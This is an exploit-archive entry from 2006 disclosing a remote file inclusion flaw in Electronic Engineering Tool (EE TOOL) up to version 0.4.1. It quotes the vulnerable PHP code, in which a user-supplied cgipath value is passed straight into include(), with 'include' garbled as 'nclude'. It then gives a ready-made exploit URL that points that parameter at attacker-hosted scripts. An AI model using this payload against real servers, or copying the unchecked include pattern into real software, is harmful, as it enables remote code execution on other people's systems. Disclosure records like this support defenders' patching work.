Electronic Engineering Tool (EE TOOL) <= 0.4.1 File Include Vulnerability

2006-10-28T00:00:00
ID 1337DAY-ID-1078
Type zdt
Reporter xoron
Modified 2006-10-28T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =========================================================================
Electronic Engineering Tool (EE TOOL) <= 0.4.1 File Include Vulnerability
=========================================================================



 
Code: if($type == 1) { $url = "$cgipath" . "ipcalc.cgi"; } else {
$url = "$cgipath" . "ipcalc.cgi?host=$host&mask1=$mask1&mask2=$mask2";
}nclude("$url");
 
Exploit:www.target.com/ip.inc.php?type=1&cgipath=evilscripts
 
Found: Cyber-Security
 
Thanx: DJR, xoron, [email protected], trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide



#  0day.today [2018-01-05]  #